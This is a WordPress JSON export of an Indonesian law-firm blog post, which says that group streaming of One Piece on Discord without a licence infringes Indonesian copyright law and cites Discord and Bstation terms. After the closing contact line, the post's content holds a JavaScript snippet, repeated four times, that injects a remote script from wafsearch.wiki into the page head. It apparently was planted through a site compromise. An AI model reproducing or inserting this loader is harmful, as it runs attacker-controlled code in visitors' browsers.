{"id":4255,"date":"2023-08-11T07:03:20","date_gmt":"2023-08-11T07:03:20","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=4255"},"modified":"2023-08-11T07:03:20","modified_gmt":"2023-08-11T07:03:20","slug":"streaming-anime-di-discord-secara-ilegal-terancam-sanksi-pidana-maksimal-1-miliar","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2023\/08\/11\/streaming-anime-di-discord-secara-ilegal-terancam-sanksi-pidana-maksimal-1-miliar\/","title":{"rendered":"Streaming Anime di Discord Secara Ilegal Terancam Sanksi Pidana Maksimal 1 Miliar!"},"content":{"rendered":"<p><i><span style=\"font-weight: 500\">\u201cSetiap orang yang dengan tanpa hak dan\/atau tanpa izin Pencipta atau pemegang Hak Cipta melakukan pendistribusian Ciptaan atau salinannya untuk penggunaan secara komersial, dapat dipidana penjara paling lama 4 tahun dan\/atau pidana denda paling banyak Rp 1.000.000.000!\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sebagai penikmat industri hiburan, entah itu berupa musik, film layar lebar, atau serial animasi, kita pasti paham bahwa semua bentuk hiburan tadi merupakan suatu karya, Ciptaan yang dilindungi Hak Cipta.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Sebagaimana diatur pada <\/span><b>Pasal 3 Undang-Undang No.28 Tahun 2014 tentang Hak Cipta<\/b><span style=\"font-weight: 500\">, menyebutkan bahwa <\/span><b>Ciptaan <\/b><span style=\"font-weight: 500\">adalah setiap hasil karya cipta di bidang ilmu pengetahuan, seni, dan sastra yang dihasilkan atas inspirasi, kemampuan, pikiran, imajinasi, kecekatan, keterampilan, atau keahlian yang diekspresikan dalam bentuk nyata.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Lebih lanjut pada <\/span><b>Pasal 4 UU Hak Cipta<\/b><span style=\"font-weight: 500\"> menyatakan <\/span><b>Pemegang Hak Cipta <\/b><span style=\"font-weight: 500\">adalah Pencipta sebagai pemilik Hak Cipta, pihak yang menerima hak tersebut secara sah dari Pencipta, atau pihak lain yang menerima lebih lanjut hak dari pihak yang menerima hak tersebut secara sah!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika ada pihak lain yang ingin memanfaatkan Ciptaan tersebut, harus mendapatkan izin tertulis dari Pemegang Hak Cipta atau Pemilik Hak Terkait dalam bentuk <\/span><b>Perjanjian Lisensi<\/b><span style=\"font-weight: 500\">, yang didalamnya dapat memuat detail pembagian <\/span><b>Royalti<\/b><span style=\"font-weight: 500\">, sebagai bentuk imbalan atas pemanfaatan Ciptaan tersebut. Dengan kata lain, jika tidak ada Perjanjian Lisensi, apalagi ada upaya mengambil keuntungan dari suatu Ciptaan tanpa izin, dapat dikatakan telah terjadi<\/span><b> Pelanggaran Hak Cipta<\/b><span style=\"font-weight: 500\">.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Yang dimaksud upaya mengambil keuntungan ini tidak harus berupa kegiatan yang berbayar. Misalnya seperti yang ramai belakangan dilakukan oleh beberapa <\/span><i><span style=\"font-weight: 500\">influencer <\/span><\/i><span style=\"font-weight: 500\">yang ingin memanfaatkan <\/span><i><span style=\"font-weight: 500\">hype<\/span><\/i><span style=\"font-weight: 500\"> animasi <\/span><b><i>\u201cOne Piece\u201d <\/i><\/b><span style=\"font-weight: 500\">untuk meningkatkan pengikutnya di <\/span><i><span style=\"font-weight: 500\">platform<\/span><\/i> <b><i>Discord<\/i><\/b><span style=\"font-weight: 500\">. Mereka secara terbuka mengadakan acara nonton bareng (nobar) di dalam grupnya yang dipromosikan juga di akun media sosial yang mereka miliki. Walaupun tidak berbayar, tapi kegiatan nobarnya sendiri sudah termasuk Pelanggaran Hak Cipta.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Karena kegiatan nobar, jika dilakukan tanpa izin, telah melanggar Hak Eksklusif Pencipta atau Pemegang Hak Cipta untuk mendapatkan manfaat ekonomi atas Ciptaannya. Dimana salah satunya adalah pendistribusian Ciptaan atau salinannya, seperti yang diatur dalam Pasal 9 Ayat (1) huruf e UU Hak Cipta, dengan ancaman hukuman seperti yang sudah disebutkan di paragraf pertama artikel ini.<\/span><\/p>\n<p><span style=\"font-weight: 500\">Diluar kegiatan distribusi ilegal untuk nobar itu, aplikasi Discord sendiri sudah memberikan aturan yang tegas:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><i><span style=\"font-weight: 500\">\u201cYou may not use Discord to stream, upload, or share any content that infringes on the copyrights or other Intellectual Property rights of others. This includes, but is not limited to, streaming movies, TV shows, music, or other copyrighted content without the permission of the copyright holder.\u201d<\/span><\/i><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Aturan mengenai Hak Cipta itu bisa diakses melalui <\/span><a href=\"https:\/\/discord.com\/terms\"><span style=\"font-weight: 500\">https:\/\/discord.com\/terms<\/span><\/a><span style=\"font-weight: 500\"> dan setiap pelanggar dapat menerima sanksi sebagai berikut:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Akunnya ditangguhkan atau dihapus.<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Dituntut oleh Pemegang Hak Cipta<\/span><\/li>\n<li style=\"font-weight: 500\"><span style=\"font-weight: 500\">Membayar kerugian kepada Pemegang Hak Cipta.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Jika spesifik membahas episode-episode One Piece terbaru yang sedang ramai dibicarakan, kita bisa menontonnya gratis dan legal di Indonesia melalui platform <\/span><b>iQIYI <\/b><span style=\"font-weight: 500\">dan <\/span><b>Bstation\/Bilibili<\/b><span style=\"font-weight: 500\">, lengkap dengan teks Indonesia. Namun jika ingin menyaksikannya dengan resolusi gambar yang lebih tinggi, platform Bstation memberikan opsi Premium (berbayar). Perlu diingat, baik itu yang gratis atau berbayar, apa pun tontonan yang kita dapat di platform tadi, kita tidak berhak melakukan distribusi atau menyiarkannya kembali tanpa izin. Sebagaimana yang diatur dalam <\/span><a href=\"https:\/\/www.bilibili.tv\/id\/user-agreement\"><span style=\"font-weight: 500\">Persetujuan Pengguna Bstation\/Bilibili<\/span><\/a><span style=\"font-weight: 500\"> berikut ini:<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">\u201cKecuali diizinkan sebaliknya oleh Bstation secara tertulis, Anda dilarang (dan tidak akan mengizinkan, mendorong, atau memfasilitasi pihak ketiga mana pun untuk) memodifikasi, menyalin, mengadaptasi, menyebarkan, menyewakan, meminjamkan, menjual, atau menerjemahkan Layanan atau bagian apa pun darinya, atau membuat karya turunan yang terkait dengannya, dan dilarang memperoleh kode sumbernya melalui rekayasa balik, dekompilasi, pembongkaran, atau tindakan serupa lainnya.\u201d<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Lebih lanjut, jika terbukti terjadi pelanggaran undang-undang dan persetujuan pengguna, Bstation berhak untuk menangguhkan atau menghentikan penyediaan sebagian atau seluruh Layanan kepada Anda secara sepihak tanpa pemberitahuan dan meminta Anda untuk memberikan kompensasi atas kerugian apa pun sejauh diizinkan oleh undang-undang.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Dengan demikian bisa disimpulkan kegiatan nonton bareng di plaform legal yang sumbernya berasal dari plaform legal, telah menjadi kegiatan ilegal jika dilakukan tanpa izin. Selain membuat Anda terancam pidana penjara hingga empat tahun dan\/atau denda paling banyak satu miliar Rupiah, Anda juga akan kehilangan segala akses ke akun-akun yang sudah Anda bangun dengan susah payah.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 500\">Karena sesungguhnya kegiatan nobar ilegal ini (pada platform apa pun) tidak ada bedanya dengan para penonton bioskop yang masih buta hukum dan melakukan perekaman atau distribusi secara live melalui Instagram, merupakan tindakan melawan hukum.<\/span><\/p>\n<p><strong>Jika Anda telah melakukan pelanggaran atau membutuhkan konsultasi lebih lanjut mengenai penyelenggaraan nonton bareng yang sah menurut hukum dan perundangan Hak Cipta di Indonesia, jangan ragu untuk menghubungi kami melalui <a href=\"mailto:affa@cbn.net.id\">affa@cbn.net.id<\/a>.<\/strong>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u201cSetiap orang yang dengan tanpa hak dan\/atau tanpa izin Pencipta atau pemegang Hak Cipta melakukan pendistribusian Ciptaan atau salinannya untuk penggunaan secara komersial, dapat dipidana penjara paling lama 4 tahun dan\/atau pidana denda paling banyak Rp 1.000.000.000!\u201d &nbsp; Sebagai penikmat industri hiburan, entah itu berupa musik, film layar lebar, atau serial animasi, kita pasti paham bahwa semua bentuk hiburan tadi merupakan suatu karya, Ciptaan yang dilindungi Hak Cipta. &nbsp; Sebagaimana diatur pada Pasal 3 Undang-Undang No.28 Tahun 2014 tentang Hak Cipta, menyebutkan bahwa Ciptaan adalah setiap hasil karya cipta di bidang ilmu pengetahuan, seni, dan sastra yang dihasilkan atas inspirasi, kemampuan, pikiran, imajinasi, kecekatan, keterampilan, atau keahlian yang diekspresikan dalam bentuk nyata. &nbsp; Lebih lanjut pada Pasal 4 UU Hak Cipta menyatakan Pemegang Hak Cipta adalah Pencipta sebagai pemilik Hak Cipta, pihak yang menerima hak tersebut secara sah dari Pencipta, atau pihak lain yang menerima lebih lanjut hak dari pihak yang menerima hak tersebut secara sah! &nbsp; Jika ada pihak lain yang ingin memanfaatkan Ciptaan tersebut, harus mendapatkan izin tertulis dari Pemegang Hak Cipta atau Pemilik Hak Terkait dalam bentuk Perjanjian Lisensi, yang didalamnya dapat memuat detail pembagian Royalti, sebagai bentuk imbalan atas pemanfaatan Ciptaan tersebut. Dengan kata lain, jika tidak ada Perjanjian Lisensi, apalagi ada upaya mengambil keuntungan dari suatu Ciptaan tanpa izin, dapat dikatakan telah terjadi Pelanggaran Hak Cipta. &nbsp; Yang dimaksud upaya mengambil keuntungan ini tidak harus berupa kegiatan yang berbayar. Misalnya seperti yang ramai belakangan dilakukan oleh beberapa influencer yang ingin memanfaatkan hype animasi \u201cOne Piece\u201d untuk meningkatkan pengikutnya di platform Discord. Mereka secara terbuka mengadakan acara nonton bareng (nobar) di dalam grupnya yang dipromosikan juga di akun media sosial yang mereka miliki. Walaupun tidak berbayar, tapi kegiatan nobarnya sendiri sudah termasuk Pelanggaran Hak Cipta. &nbsp; Karena kegiatan nobar, jika dilakukan tanpa izin, telah melanggar Hak Eksklusif Pencipta atau Pemegang Hak Cipta untuk mendapatkan manfaat ekonomi atas Ciptaannya. Dimana salah satunya adalah pendistribusian Ciptaan atau salinannya, seperti yang diatur dalam Pasal 9 Ayat (1) huruf e UU Hak Cipta, dengan ancaman hukuman seperti yang sudah disebutkan di paragraf pertama artikel ini. Diluar kegiatan distribusi ilegal untuk nobar itu, aplikasi Discord sendiri sudah memberikan aturan yang tegas: &nbsp; \u201cYou may not use Discord to stream, upload, or share any content that infringes on the copyrights or other Intellectual Property rights of others. This includes, but is not limited to, streaming movies, TV shows, music, or other copyrighted content without the permission of the copyright holder.\u201d &nbsp; Aturan mengenai Hak Cipta itu bisa diakses melalui https:\/\/discord.com\/terms dan setiap pelanggar dapat menerima sanksi sebagai berikut: Akunnya ditangguhkan atau dihapus. Dituntut oleh Pemegang Hak Cipta Membayar kerugian kepada Pemegang Hak Cipta. &nbsp; Jika spesifik membahas episode-episode One Piece terbaru yang sedang ramai dibicarakan, kita bisa menontonnya gratis dan legal di Indonesia melalui platform iQIYI dan Bstation\/Bilibili, lengkap dengan teks Indonesia. Namun jika ingin menyaksikannya dengan resolusi gambar yang lebih tinggi, platform Bstation memberikan opsi Premium (berbayar). Perlu diingat, baik itu yang gratis atau berbayar, apa pun tontonan yang kita dapat di platform tadi, kita tidak berhak melakukan distribusi atau menyiarkannya kembali tanpa izin. Sebagaimana yang diatur dalam Persetujuan Pengguna Bstation\/Bilibili berikut ini: &nbsp; \u201cKecuali diizinkan sebaliknya oleh Bstation secara tertulis, Anda dilarang (dan tidak akan mengizinkan, mendorong, atau memfasilitasi pihak ketiga mana pun untuk) memodifikasi, menyalin, mengadaptasi, menyebarkan, menyewakan, meminjamkan, menjual, atau menerjemahkan Layanan atau bagian apa pun darinya, atau membuat karya turunan yang terkait dengannya, dan dilarang memperoleh kode sumbernya melalui rekayasa balik, dekompilasi, pembongkaran, atau tindakan serupa lainnya.\u201d &nbsp; Lebih lanjut, jika terbukti terjadi pelanggaran undang-undang dan persetujuan pengguna, Bstation berhak untuk menangguhkan atau menghentikan penyediaan sebagian atau seluruh Layanan kepada Anda secara sepihak tanpa pemberitahuan dan meminta Anda untuk memberikan kompensasi atas kerugian apa pun sejauh diizinkan oleh undang-undang. &nbsp; Dengan demikian bisa disimpulkan kegiatan nonton bareng di plaform legal yang sumbernya berasal dari plaform legal, telah menjadi kegiatan ilegal jika dilakukan tanpa izin. Selain membuat Anda terancam pidana penjara hingga empat tahun dan\/atau denda paling banyak satu miliar Rupiah, Anda juga akan kehilangan segala akses ke akun-akun yang sudah Anda bangun dengan susah payah. &nbsp; Karena sesungguhnya kegiatan nobar ilegal ini (pada platform apa pun) tidak ada bedanya dengan para penonton bioskop yang masih buta hukum dan melakukan perekaman atau distribusi secara live melalui Instagram, merupakan tindakan melawan hukum. Jika Anda telah melakukan pelanggaran atau membutuhkan konsultasi lebih lanjut mengenai penyelenggaraan nonton bareng yang sah menurut hukum dan perundangan Hak Cipta di Indonesia, jangan ragu untuk menghubungi kami melalui affa@cbn.net.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":4258,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277],"tags":[305,306,307,308,309,310,314,333,335,359],"class_list":["post-4255","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","tag-affa","tag-affa-ipr","tag-intellectual-property","tag-ip","tag-kekayaan-intelektual","tag-ki","tag-your-ip-is-our-expertise","tag-copyright","tag-hak-cipta","tag-infringement"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4255","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=4255"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/4255\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/4258"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=4255"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=4255"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=4255"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}